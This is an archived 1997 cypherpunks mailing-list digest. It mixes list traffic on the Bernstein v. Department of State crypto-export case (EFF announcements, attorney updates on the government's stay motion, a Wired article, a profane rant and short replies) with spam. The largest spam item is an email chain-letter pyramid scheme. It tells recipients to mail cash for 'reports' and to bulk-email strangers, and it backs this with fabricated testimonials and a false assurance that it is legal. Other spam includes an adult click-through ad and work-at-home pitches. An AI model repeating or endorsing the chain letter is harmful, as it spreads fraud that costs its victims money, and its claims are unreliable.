					Good Luck!  G. Bank

	Not being the gambling type, it took me several weeks to make
up my mind to participate in this plan.  But conservative that I am
I decided that the initial investment was so little that there was
just no way that I wouldn't get enough orders to at least get my money
back.  Boy I was surprised when I found my medium-size post office box
crammed with orders.  After that it got so over-loaded that I had to 
start picking up my mail at the window.  I'll make more money this
year than any 10 years of my life before.  The nice thing about this
deal is that it doesn't matter where in the U.S. the people live.
There simply isn't a better investment with a faster return.
				Mary Rockland, Lansing, MI

	I had recieved this program before.  I deleted it, but later
I wondered if I shouldn't have given it a try.  Of course, I had no
idea who to contact to get another copy, so I had to wait until I
was e-mailed another program...11 months passed then it came...I 
didn't delete this one!...I made $41,000 on the first try!!
					D. Wilburn, Muncie, IN

	This is my third time to participate in this plan.  We have
quit our jobs, and quite soon we will buy a home on the beach and live
off the interest on our money.  The only way on earth that this plan
will work for you is if you do it.  For your sake, and for your family's
sake don't pass up this golden opportunity.  Remember, when you order
your four reports, SEND CASH.  Checks have to clear the bank and create
too many delays.  Good luck and happy spending!
					Charles Fairchild, Spokane, WA

	Typically when I look at a money-making deal I want to 
know if the company is strong, will it be here when it's time for
my big pay off.  In this crazy thing there is no company intervention
for management to blow it.  Just people like me ordering directly 
from the source!  Interesting...I had a couple of projects I'd been 
trying to fund to no avail so I thought; Why not give it a try?  Well 
2 1/2 weeks later the orders started coming in.  One project is funded 
and I'm sure the other will be soon!
					Marilynn St. Claire, Logan, UT


*************************************
If this message has offended you, we apologize.
To be removed from any further mailings, 
send a message with REMOVE in the
subject line to remmee@answerme.com
*************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: email@exoticwhispers.com
Date: Wed, 27 Aug 1997 20:53:53 -0700 (PDT)
To: email@exoticwhispers.com
Subject: High Society Magazine Clicks
Message-ID: <199708272018.RAA00837@north.nsis.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Fellow Webmasters,

I would like to take this opportunity to introduce you to the highest paying and most diversified Click Through Program on the web for Adult Webmasters, simply named "Serge Cash".

http://sexia.com/~knight/RAW/TIM/

This is the real deal.  No more NO NAME site Click Throughs Programs with low visitor to click ratios by fly by night companies.  Get signed up with such International Adult Magazines such as Playgirl, High Society, Climax ..etc.

Compare for yourself !

Here is a list of our current programs and their payouts: 

** You choose how you want to be paid! RAW Clicks or UNIQUE Clicks ? **

Available Programs     Payout Per Raw Click             Payout Per Unique Click        
-------------------------------------------------------------------------------------------------------------------------
PINK BITS                                $.02875 (2.875 Cents)       $.055 (5.5 Cents) 
PLAYGIRL MAGAZINE            $.0325                                $.055
HIGH SOCIETY MAGAZINE    $.02875                              $.055
CLIMAX MAGAZINE                $.02875                               $.055
AMATEUR AVENUE                $.02875                              $.055
XXSEX                                      $.02875                              $.055
ASS                                           $.02875                              $.055
SEXY CLIPS                             $.02875                              $.055


We also pay our advertisers every two weeks and our minimum check amount is only 10.00.

Give us a try for two weeks and see for yourself.  Make sure our check arrives, and see 
how much more it is compared to your current sponsors.

Complete information and Online Signup to get you started right away at:

http://sexia.com/~knight/RAW/TIM/

Tim Goyetche
Representing Serge's Cash






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 27 Aug 1997 17:41:56 -0700 (PDT)
To: bernstein-announce@toad.com
Subject: Bernstein decision: image files upgraded
Message-ID: <199708280028.RAA11032@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If you couldn't read the decision because the original image files
were too fuzzy, try them now.  They're wider and longer, and a lot
easier to read.  They're almost as small as the previous ones, because
we encoded them better.

We're still working on scanning it in to plain text.

http://www.eff.org/pub/Legal/Cases/Bernstein_v_DoS/Legal/970825_decision.images

	John Gilmore




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rewards@t-1net.com
Date: Wed, 27 Aug 1997 17:04:19 -0700 (PDT)
To: rewards@t-1net.com
Subject: IDEAL FOR BEGINNERS WORK-AT-HOME
Message-ID: <199708272352.SAA32694@quick.we-deliver.net>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////
This Message was Composed using Extractor Pro Bulk E- Mail Software. If 
you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.
////////////////////////////////////////////////////////////////////////////////


I have been a business owner for over 30 years, involved in various things, and  I have found different strategies for making money, working at home....

I thought you might like to know, this really works, if you will only try it...

For more information send e-mail to     max@answerme.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 27 Aug 1997 23:31:07 -0700 (PDT)
To: bernstein-announce
Subject: Govt seeking emergency stay in Bernstein case
Message-ID: <199708280624.XAA17195@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Wed, 27 Aug 1997 13:43:36 -0700
From: Cindy Cohn <Cindy@mcglashan.com>

Hi all,

Just talked to Mr. Coppolino at the Justice Department.  They are filing ex
parte emergency stay papers tonight or tomorrow morning to try to stay the
impact of Judge Patel's ruling pending appeal.  He'll be faxing me the
documents when they are ready.  He said yesterday that they would seek to
stay the "export" of crypto source code, although not the teaching or
discussion (whatever that means).

Cindy A. Cohn                                                               

[Update: We received the faxed papers about 8PM; images of them will
be in a sub-directory of
http://www.eff.org/pub/Legal/Cases/Bernstein_v_DoS/Legal/ on Thursday
morning.  The Bernstein team is opposing their motion; our filing will
also be on the Web site.

It was reported by C|Net that the government is "appealing"; this is
not true.  They are asking that Judge Patel to "stay" her own ruling
-- hold it in abeyance -- to prevent Prof. Bernstein from exercising
his First Amendment rights before they can appeal.  But they have not
filed an appeal, or formally indicated their intent to do so.  --gnu]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Thu, 28 Aug 1997 14:50:18 -0700 (PDT)
To: bernstein-announce
Subject: US Seeks to Stay Bernstein Court Order
Message-ID: <199708282144.OAA00603@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded-by: "--Todd Lappin-->" <telstar@wired.com>
>From Wired News: http://www.wired.com/news/news/politics/story/6436.html


US Seeks to Stay Court's Crypto Order
by Rebecca Vesely

6:02pm  27.Aug.97.PDT The Justice Department is seeking
an emergency stay of a ruling by a US District Court in San
Francisco that granted a University of Illinois professor
permission to export his encrypted email program.

Judge Marilyn Hall Patel ruled in Bernstein v. Department
of State that Daniel Bernstein can export his Snuffle
program and make it available online without an export
license. Her landmark ruling holds that software programs
are literary works protected under the First Amendment.

The Justice Department told Bernstein attorney Cindy Cohn
on Wednesday afternoon that it will seek an emergency stay
on the preliminary injunction allowing Bernstein to export
Snuffle. The department is expected to file papers
Wednesday night or Thursday morning, Cohn said. Justice
officials were not immediately available for comment.

"This is serious," Cohn said. "They feel that national
security will be breached. But our opinion is that he has the
right to publish his material."

In what is called an ex parte emergency stay, the Justice
Department asked Patel to reconsider her decision to grant a
preliminary injunction. If Patel decides not to reverse her
decision, the department can ask the 9th US Circuit Court of
Appeals to override her decision.

"It is unlikely Patel will give it to them," said John
Gilmore, founding board member of the Electronic Frontier
Foundation, which was a primary sponsor of Bernstein in
the case. "If she does, we will continue with the appeal
process and try to make the decision stick."

The decision could affect not just the fate of Bernstein's
research, but the US encryption export policy. Patel said in
her decision that current export encryption regulations
"are an unconstitutional prior restraint in violation of the
First Amendment."


Copyright =A9 1993-97 Wired Ventures Inc. and affiliated
companies.
All rights reserved.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cindy Cohn <Cindy@mcglashan.com>
Date: Thu, 28 Aug 1997 18:30:38 -0700 (PDT)
To: bernstein-announce@toad.com
Subject: Stay issued; modified stay to follow
Message-ID: <199708290123.SAA24903@gw.quake.net>
MIME-Version: 1.0
Content-Type: text/plain


During a conference call with counsel today, Judge Patel issued a stay of
the injunctive relief issued in her Opinion of August 25, 1997, effective
until September 8. 

 On September 8 (or sooner if we get the papers to her) the Court she will
issue a formal Stay Pending Appeal which will stay the injunctive relief
issued in her Opinion of August 25, 1997, except that an injunction shall be
reinstated to prevent the prosecution of Professor Bernstein for the
"unlicensed export" of Snuffle 5.0 (which includes Snuffle and Unsnuffle)
and any later versions of that program which he has developed.

This eliminates, at least for the meantime, the injunctive relief granted to
Bernstein as to any other computer programs which he may have developed or
otherwise wished to publish.  It also eliminates the protections for persons
other than Professor Bernstein.

The government has said that it may still challenge this more limited stay
in the 9th Circuit.  Professor Bernstein may also seek relief from the stay
from the 9th Circuit.

Cindy
************************ 
Cindy A. Cohn                                                               
McGlashan & Sarrail, P. C.
177 Bovet Road, 6th Floor                                            
San Mateo, CA  94402
(415) 341-2585 (tel)
(415)341-1395 (fax)
Cindy@McGlashan.com
http://www.McGlashan.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 67396928@11225.com
Date: Thu, 28 Aug 1997 17:20:03 -0700 (PDT)
To: doc.papapa.com@mail.styria.co.at
Subject: Internet Bliss!!!!
Message-ID: <9754658 15478DCD98652@upttown494.com>
MIME-Version: 1.0
Content-Type: text/plain



MY AMAZING STORY CAN CHANGE YOUR LIFE AS IT CHANGED MINE!!!
JUST READ IT!  

YOU'VE SEEN IT OVER AND OVER....  IF You keep receiving this email.... IT MUST WORK!!   WILL THIS BE THE TIME YOU TAKE THAT STEP???
************************************************************************
Print This email Now For Future Reference 

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You are about to make at least $50,000 in less than 90 days!  

Have you received this offer from someone else and deleted the message??
 
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Basically, this is what we do:

We sell thousands of people a product for $5.00 that costs us next to nothing to produce and e-mail.  As with all multi-level businesses, we build our business by recruiting new partners and selling our products.  Every state in the U.S. allows you to recruit new multi- level business online (with your computer).

The product in this program is a series of four business and financial reports.  After you get started, people will order these reports from you.  Each $5.00 order you receive will include the e-mail address of the sender or a self addressed envelope of the sender.  To fill each order, you simply e-mail the product to the buyer or mail it off.   THAT'S IT!...the  $5.00 is yours!  This is the GREATEST electronic multi-level marketing business anywhere!  Here are the simple instructions and details on how to get 10,000 orders at minimum.  Send me a note sometime soon sharing your good fortunes!!!

FOLLOW THE INSTRUCTIONS EXACTLY!
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Remember the 4 points below and we'll see YOU at the top!


******* I  N  S  T  R  U  C  T  I  O  N  S *******

This is what you MUST do:

1.  Order all 4 reports listed and numbered from the list below.
     For each report send $5.00 CASH, A SELF ADDRESSED STAMPED BUSINESS      
     ENVELOPE, OR YOUR E-MAIL ADDRESS    
    and YOUR RETURN POSTAL ADDRESS (in case of a problem) to each person   
     listed below. 

    When you order, make sure you request each SPECIFIC report.  You
    will need all four reports, because you will be reselling them and making big $$$.

2.  Replace the name and address under REPORT #1 (THAT'S ME!)  with your name 
     and address, moving my name and address under REPORT #2.  Move the name
     and address under REPORT #2 to under REPORT #3.  Move the name and address
     under REPORT #3 to under REPORT #4.  The name and address that was under
     REPORT #4 is dropped off the list and undoubtly is counting $50,000.
    
    IMPORTANT--DO NOT alter the names and addresses below, or their    
     sequence other than instructed in this program! Or you will not profit the way  
     you should.

    When doing this, please make certain you copy everyone's name and
    address ACCURATELY!!!  

3.  Take this entire program text, including the corrected names list,
    and save it on your computer.

4.  Now you're ready to start a massive advertising campaign on the
    WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
    but there are HUNDREDS of FREE places to advertise also.  Another
    avenue which you could use is e-mail mailing lists.  You can buy
    these lists for under $20/20,000 addresses.  START sending this email to thousands 
    of people.  The sooner you do.  The sooner you will start to receive orders.

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND  $5 CASH (Concealed) FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER. 

ALWAYS SEND FIRST CLASS OR PRIORITY MAIL AND PROVIDE A SELF ADDRESSED ENVELOPE AND YOUR E-MAIL ADDRESS FOR QUICK DELIVERY.

______________________________________________________________________
REPORT #1 
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:  

SUCCESS AA MARKETING
Suite 130                                      This is my address 
222 Main Street                            Your name and adress goes here now
Annapolis, MD 21401                  Put my name and addess under number 2
                                                     Number 2 goes to 3, and 3 goes to 4!
______________________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

KAW Marketing AA
P.O. Box 139
1009 Bay Ridge Avenue
Annapolis, MD 21403
______________________________________________________________________
REPORT #3 
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

R. C.
3 McCarthy Court 
Farmingdale, NY 11735  
 ______________________________________________________________________

REPORT #4 
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Big G
151 Hillside Road
Farmingdale, NY 11735
______________________________________________________________________
..............................................................................................................................

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1st level--your 10 members pay you $5                                  $50
2nd level-- those 10 members get 10 more (100 X $5)            $500
3rd level-- those 100 members get 10 more (1000 X $5)       $5,000
4th level-- those 1,000 get 10 more each (10,000 X $5)      $50,000
                                               THIS TOTALS-----------> $55,550

Do you see how easy this is?  After you send out this same E Mail, your new recruits will order REPORT # 1 from you and move your name and address to #2.  Their recruits will order REPORT # 2 from you and move your name and address to number 3.  That group of recruits will order REPORT # 3 from you (a minimum of 1000 of $5 orders will come your way!) and move your name and address to number 4.  That group will order 10,000 copies of report #4 from you, AT MINIMUM!!

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By the way, your cost to participate in this is practically nothing.You obviously already have an internet connection and email is FREE!!! REPORT#3 will show you the best methods for bulk emailing and purchasing email lists.

REMEMBER:  
Approx. 50,000 new people get online monthly!

ORDER YOUR REPORTS NOW!!!

It's so easy to listen to the critics who say Don't Do It.  Those people will never be successful.  Smile... and Enjoy!
  
*******YOUR SUCCESS GUIDELINE*******

The check point that guarantees your success is simply this:
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                      by watching what report people are ordering from you. 

IT'S THAT EASY!!!


******* T  E  S  T  I  M  O  N  I  A  L  S *******

This program does work, but you must follow it EXACTLY! Especially the rule of not trying to place your name in a different position, it won't work, you'll lose a lot of money.  I'm living proof that it works.  It really is a great opportunity to make relatively easy money, with little cost to you.  If you do choose to participate, follow the program exactly, and you'll be on your way to financial security.  If you are a fellow Christian and are in financial trouble like I was, consider this a sign.  I DID!
                                        Good Luck & God Bless You,
                                        Sincerely, Chris Johnson

P.S.  Do you have any idea what 11,700 $5 bills ($58,500) looks like piled up on the kitchen table?...IT'S AWESOME!

My name is Frank.  My wife Doris and I live in Bel-Air, MD. I am a cost accountant with a major U.S. Corporation and I make pretty good money.  When I received the program I grumbled to Doris about receiving "junk mail"!  I made fun of the whole thing, spouting my knowledge of the population and percentages involved.  I "knew" it wouldn't work.  Doris totally ignored my supposed intelligence and jumped in with both feet.  I made merciless fun of her, and was ready to lay the old "I told you so" on her when the thing didn't work... well, the laugh was on me!  Within two weeks she had received over 50 responses.  Within 45 days she had received over $147,200 in $5 bills! I was stunned.  I was sure that I had it all figured and that it
wouldn't work...I AM a believer now.  I have joined Doris in her "little" hobby.  I did have seven more years until retirement,  but I think of the "rat race" and it's not for me....
                                        Frank T., Bel-Air, MD

I just want to pass along my best wishes and encouragement to you.  Any doubts you have will vanish when your first orders come in.  I even checked with the U.S. Post Office to verify that the plan was legal.  It definitely is!  IT WORKS!!!
                                        Paul Johnson, Raleigh, NC

This is the only realistic money-making offer I've ever received.  I participated because this plan truly makes sense. I was surprised when the $5.00 bills started filling my mail box. By the time it tapered off I had received over 8,000 orders with over $40,000 in cash.  Dozens of people have sent warm personal notes too, sharing the news of their good fortunes!  It's been WONDERFUL.
                                        Carl Wittow Tulsa, OK

The main reason for this letter is to convince you that this system is honest, lawful, extremely profitable, and is a way to get a large amount of money in a short time.  I was approached several times before I checked this out.  I joined just to see what one could expect in return for the minimal effort and money required.  Initially
I let no one in the organization know that I was an attorney and, to my astonishment, I received $36,470.00 in the first 14 weeks, with money still coming in.
                                Sincerely yours, Phillip A. Brown

This plan works like GANG-BUSTERS!!!  So far I have had 9,735 total orders...OVER $48,000!!!  I hope I have sparked your own excitement, if you follow the program exactly, you could have the same success I have, if not better.  Your success is right around the corner, but you must do a little work.
                                        Good Luck!  G. Bank

Not being the gambling type, it took me several weeks to make up my mind to participate in this plan.  But conservative that I am I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back.  Boy I was surprised when I found my medium-size post office box crammed with orders.  After that it got so over-loaded that I had to start picking up my mail at the window.  I'll make more money this year than any 10 years of my life before.  The nice thing about this deal is that it doesn't matter where in the U.S. the people live. There simply isn't a better investment with a faster return.

Mary Rockland, Lansing, MI

I had received this program before.  I deleted it, but later I wondered if I shouldn't have given it a try.  Of course, I had no idea who to contact to get another copy, so I had to wait until I was e-mailed another program...11 months passed then it came...I
didn't delete this one!...I made $41,000 on the first try!!

D. Wilburn, Muncie, IN

This is my third time to participate in this plan.  We have quit our jobs, and quite soon we will buy a home on the beach and live off the interest on our money.  The only way on earth that this plan will work for you is if you do it.  For your sake, and for your family's sake don't pass up this golden opportunity.  Good luck and happy spending!
Charles Fairchild, Spokane, WA

Typically when I look at a money-making deal I want to know if the company is strong, will it be here when it's time for my big pay off.  In this crazy thing there is no company intervention for management to blow it.  Just people like me ordering directly from the source!  Interesting...I had a couple of projects I'd been trying to fund to no avail so I thought; Why not give it a try?  Well 2 1/2 weeks later the orders started coming in.  One project is funded and I'm sure the other will be soon!

Marilynn St. Claire, Logan, UT


READ THIS AGAIN, AND AGAIN.  PRINT IT.  ITS NOT TOO GOOD TO BE TRUE.
EMAIL ME OR DROP ME A NOTE AFTER YOU'VE MADE YOUR 50 GRAND.
ITS AN AMAZING FEELING!!!!
===============================================================
*******TIPS FOR SUCCESS*******

TREAT THIS AS YOUR BUSINESS!  Send for the four reports IMMEDIATELY

Be patient and persistent with this program.  If you follow the instructions exactly                                                           the results WILL undoubtedly be SUCCESS!

*  ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!



When you receive a $5 order, you MUST send out the requested product/report to comply with the U.S. Postal & Lottery Laws, Title 18,Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. Code,also Code of Federal Regs. vol. 16, Sections 255 and 436, which state that "a product or service must be exchanged for money received."

*  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

NOTE:  IF YOU NEED HELP with starting a business, registering a business name,                  how income tax is handled, etc., contact your local office of the Small Business Administration (a Federal agency) for free help and answers to questions. Also, the Internal Revenue Service offers free help via telephone and free seminars about business taxes.
===============================================================







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mail Delivery Subsystem <MAILER-DAEMON@bayonet.sjmercury.com>
Date: Thu, 28 Aug 1997 20:59:23 -0700 (PDT)
To: <cypherpunks@toad.com>
Subject: Returned mail: Remote protocol error
Message-ID: <9708290347.AA05394@bayonet.sjmercury.com>
MIME-Version: 1.0
Content-Type: text/plain


   ----- Transcript of session follows -----
554 <eawassermn@aol.com>... Remote protocol error

   ----- Unsent message follows -----
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Message-Id: <3406440E.724F@toad.com>
Date: Thu, 28 Aug 1997 21:37:50 -0600
From: Cypherpunks Mailing List <cypherpunks@toad.com>
Reply-To: cypherpunks@toad.com
X-Mailer: Mozilla 3.01C-SYMPA  (Win95; U)
Mime-Version: 1.0
To: Cindy Cohn <Cindy@mcglashan.com>
Cc: sadams@forbes.com, telstar@wired.com, plotnikoff@aol.com,
        Ewasserman@sjmercury.com, dang@cnet.com, steven@echo.net,
        abate@ccnet.com, wendyg@cix.compulink.co.uk, amy@netcom.com,
        courtm@cnet.com, alan.boyle@MSNBC.COM, declan@well.com,
        sep@cbsnews.com, kenc@cwi.emap.com, arb@well.com, exp@mk.ibek.com,
        bransten@interactive.wsj.com, TomBemis@pacbell.net,
        sam.perry@reuters.com, jimevans@aol.com, ljflynn@aol.com,
        wendyl@ljx.com, bernstein-announce@toad.com
Subject: Sit, Bubu. Sit! / Re: Stay issued; modified stay to follow
References: <199708290123.SAA24903@gw.quake.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Cindy Cohn wrote:
> 
> During a conference call with counsel today, Judge Patel issued a stay of
> the injunctive relief issued in her Opinion of August 25, 1997, effective
> until September 8.

  Why are these dinosaurs fucking away perfectly good taxpayer's money
trying to shore up the walls of a crumbling civilization?

NEWS FLASH!!!	THE GENIE *WON'T* GO BACK IN THE BOTTLE 
                ---------------------------------------
  Before the ink had dried on Judge Patel's ruling, 2,000,000 emails of
Professor Bernstein's work were on their way overseas, to every port of
call. (Courtesy of Email Blaster, that wonderful progam that tells us,
fifty times a day, how to "MAKE MONEY FA$T!!!")
 
>  On September 8 (or sooner if we get the papers to her) the Court she will
> issue a formal Stay Pending Appeal which will stay the injunctive relief
> issued in her Opinion of August 25, 1997, except that an injunction shall be
> reinstated to prevent the prosecution of Professor Bernstein for the
> "unlicensed export" of Snuffle 5.0 (which includes Snuffle and Unsnuffle)
> and any later versions of that program which he has developed.

  Hell, Professor Bernstein can _import_ it now!
  By September 8, the program will be obsolete, having been tweaked
upward
a few generations by Iraquian programmers. I respectfully requested that
the Iraquis make any future versions of the program available to
American
youth who have to flee to Hitler's homeland with their website in order
to avoid being persecuted for their sexual predeliction.
 {See - http://www.guidemag.com/newsslant/vigilante-censors.html }

> This eliminates, at least for the meantime, the injunctive relief granted to
> Bernstein as to any other computer programs which he may have developed or
> otherwise wished to publish.  It also eliminates the protections for persons
> other than Professor Bernstein.

  No it doesn't. Haven't you heard of strong crypto?
  Thank you for pointing out that Phil Zimmerman wishes to protect me,
and Judge Patel wishes, on behalf of the government, to "eliminate the
protections" which strong encryptions affords me.

  The governement can't even protect themself, let alone the citizens,
as evidenced by the fact that the current sport of teenage hackers
across the nation is to send strong encryption overseas by way of the
government's email systems. (Can you say FBI? Sure you can! Can you 
say IRS? Sure you can!) Yet these dweebs want to destroy an industry 
that *is* capable of providing the citizens protection? (Considering 
the INSLAW affair, perhaps it would be more fitting to say "destroy 
_another_ industry.")

> The government has said that it may still challenge this more limited stay
> in the 9th Circuit.  Professor Bernstein may also seek relief from the stay
> from the 9th Circuit.

  I hope these idiots are having fun and making lots of money playing
their dinosaur games, because they are certainly accomplishing the
opposite of what they claim to be trying to do.
  The most that the dinosaurs in D.C. can manage to do, is to drag all
of the American business interests down into the ashes of history with
them as they attempt to build an Electromagnetic Curtain behind which
to imprison their citizens.
  Well, the CypherPunks were digging tunnels before the government even
knew they were predestined to build the Wall, so the fascist censors are 
sucking hind-tit and will, in all likelihood, continue to do so.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
TruthMonger, CoE <tm@dev.null>
Official Spokesperson for:
Cypherpunks Cult of One,
DoWell, Saskatchewan Division

"Give me bandwidth, or give me death."
          -Admiral B. d'Shauneaux
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bob Corn-Revere <bcr1@shirenet.com>
Date: Thu, 28 Aug 1997 19:13:32 -0700 (PDT)
To: Cindy Cohn <Cindy@mcglashan.com>
Subject: Re: Stay issued; modified stay to follow
In-Reply-To: <199708290123.SAA24903@gw.quake.net>
Message-ID: <34062E62.17C4@shirenet.com>
MIME-Version: 1.0
Content-Type: text/plain


What a drag.

I guess we had better get the word out. I heard that someone had already
posted some code to a Counsel Connect discussion group.

Bob




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: que11331236@compuserve.com
Date: Fri, 29 Aug 1997 16:26:27 -0700 (PDT)
To: Friend@public.com
Subject: Financial Relief
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


To no longer recieve mailings from our service send a
blank e-mail to mailto:removereq@answerme.com
----------------------------------------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bob Kohn <kohn@pgp.com>
Date: Fri, 29 Aug 1997 01:29:53 -0700 (PDT)
To: Cindy Cohn <Cindy@mcglashan.com>
Subject: Re: Stay issued; modified stay to follow
In-Reply-To: <199708290123.SAA24903@gw.quake.net>
Message-ID: <3.0.2.32.19970829010600.038952dc@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/enriched

Too bad.  Prof. Bernstein was perfectly positioned to become a great -- and the only legal -- exporting reseller of PGP software.  (no, this is not off the record)

Bob


At 06:21 PM 8/28/97 -0700, Cindy Cohn wrote:
>During a conference call with counsel today, Judge Patel issued a stay of
>the injunctive relief issued in her Opinion of August 25, 1997, effective
>until September 8. 
>
> On September 8 (or sooner if we get the papers to her) the Court she will
>issue a formal Stay Pending Appeal which will stay the injunctive relief
>issued in her Opinion of August 25, 1997, except that an injunction shall be
>reinstated to prevent the prosecution of Professor Bernstein for the
>"unlicensed export" of Snuffle 5.0 (which includes Snuffle and Unsnuffle)
>and any later versions of that program which he has developed.
>
>This eliminates, at least for the meantime, the injunctive relief granted to
>Bernstein as to any other computer programs which he may have developed or
>otherwise wished to publish.  It also eliminates the protections for persons
>other than Professor Bernstein.
>
>The government has said that it may still challenge this more limited stay
>in the 9th Circuit.  Professor Bernstein may also seek relief from the stay
>from the 9th Circuit.
>
>Cindy
>************************ 
>Cindy A. Cohn                                                               
>McGlashan & Sarrail, P. C.
>177 Bovet Road, 6th Floor                                            
>San Mateo, CA  94402
>(415) 341-2585 (tel)
>(415)341-1395 (fax)
>Cindy@McGlashan.com
>http://www.McGlashan.com
>
>
>



Robert H. Kohn
Vice President, Business Development
PRETTY GOOD PRIVACY, INC.
2121 S. El Camino Real, 9th Floor
San Mateo, California 94403
Direct: (415) 524-6220
Cellular: (415) 297-6527
Main: (415) 572-0430
Fax: (415) 572-1932
kohn@pgp.com
PGP Home Page: http://www.pgp.com
Personal Home page: http://www.kohnmusic.com/people/bkohn.html

"If all the personal computers in the world - ~260 million computers - were put to work on a single PGP-encrypted message, it would still take an estimated 12 million times the age of the universe, on average, to break a single message."
-- William Crowell, Deputy Director of the National Security Agency, 
testifying before the U.S. Congress on March 20, 1997


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 49341546@earthlink.net
Date: Fri, 29 Aug 1997 17:05:41 -0700 (PDT)
To: jsteele@mosquitonet.com
Subject: Tired Of The 9 To 5 ?
Message-ID: <698710365498.0EWL9170@intranet.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Fri, 29 Aug 1997 17:30:15 -0700 (PDT)
To: bernstein-announce, eff-staff@eff.org
Subject: Court Allows Unlicensed Crypto Export
Message-ID: <199708300021.RAA24037@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


		COURT ALLOWS UNLICENSED CRYPTO EXPORT
		Professor Bernstein can publish soon

San Francisco, August 29, 1997 - Yesterday a federal judge here denied a
government motion to silence mathematician Daniel Bernstein.

On August 25, District Court Judge Marilyn Hall Patel declared the
Commerce Department's cryptography regulations unconstitutional.
Judge Patel also issued an injunction to prohibit prosecution of Prof.
Bernstein and others who publish Prof. Bernstein's work.

In response to an emergency motion from the government on August 28,
Judge Patel ruled that most of the injunction would be put on hold
until the 9th Circuit Court of Appeals has had a chance to review
Prof. Bernstein's case.  However, part of the injunction will remain
in effect: after September 8, Prof. Bernstein will be free to publish
his Snuffle 5.0 software on the Internet without fear of prosecution.
Snuffle 5.0 is at the heart of Prof. Bernstein's lawsuit against the
government.

Scanned images of the Government's emergency request for a stay
are available from EFF's online archives at:
        http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case/
	     Legal/970827_stay_motion.images

Prof. Bernstein's opposition to the stay is at:
        http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case/
	     Legal/970827_stay.opposition

Full text of the lawsuit and other paperwork filed in the case is
available from EFF's online archives at:
        http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case/

Press Contacts:

	Shari Steele, Staff Attorney, Electronic Frontier Foundation
	301/375-8856, ssteele@eff.org

	John Gilmore, Founding Board Member, EFF
	541/354-6541, gnu@toad.com

	Cindy Cohn, McGlashan & Sarrail
	415/341-2585, cindy@mcglashan.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cindy Cohn <Cindy@mcglashan.com>
Date: Fri, 29 Aug 1997 17:48:39 -0700 (PDT)
To: Sobel@epic.org
Subject: Court Allows Unlicensed Crypto Export
Message-ID: <199708300029.RAA12520@gw.quake.net>
MIME-Version: 1.0
Content-Type: text/plain


>X-Authentication-Warning: toad.com: Host localhost [127.0.0.1] didn't use
HELO protocol
>To: bernstein-announce@toad.com, eff-board@eff.org, eff-staff@eff.org
>Subject: Court Allows Unlicensed Crypto Export
>Date: Fri, 29 Aug 1997 17:21:45 -0700
>From: John Gilmore <gnu@toad.com>
>Sender: owner-bernstein-announce@toad.com
>Reply-To: John Gilmore <gnu@toad.com>
>
>		COURT ALLOWS UNLICENSED CRYPTO EXPORT
>		Professor Bernstein can publish soon
>
>San Francisco, August 29, 1997 - Yesterday a federal judge here denied a
>government motion to silence mathematician Daniel Bernstein.
>
>On August 25, District Court Judge Marilyn Hall Patel declared the
>Commerce Department's cryptography regulations unconstitutional.
>Judge Patel also issued an injunction to prohibit prosecution of Prof.
>Bernstein and others who publish Prof. Bernstein's work.
>
>In response to an emergency motion from the government on August 28,
>Judge Patel ruled that most of the injunction would be put on hold
>until the 9th Circuit Court of Appeals has had a chance to review
>Prof. Bernstein's case.  However, part of the injunction will remain
>in effect: after September 8, Prof. Bernstein will be free to publish
>his Snuffle 5.0 software on the Internet without fear of prosecution.
>Snuffle 5.0 is at the heart of Prof. Bernstein's lawsuit against the
>government.
>
>Scanned images of the Government's emergency request for a stay
>are available from EFF's online archives at:
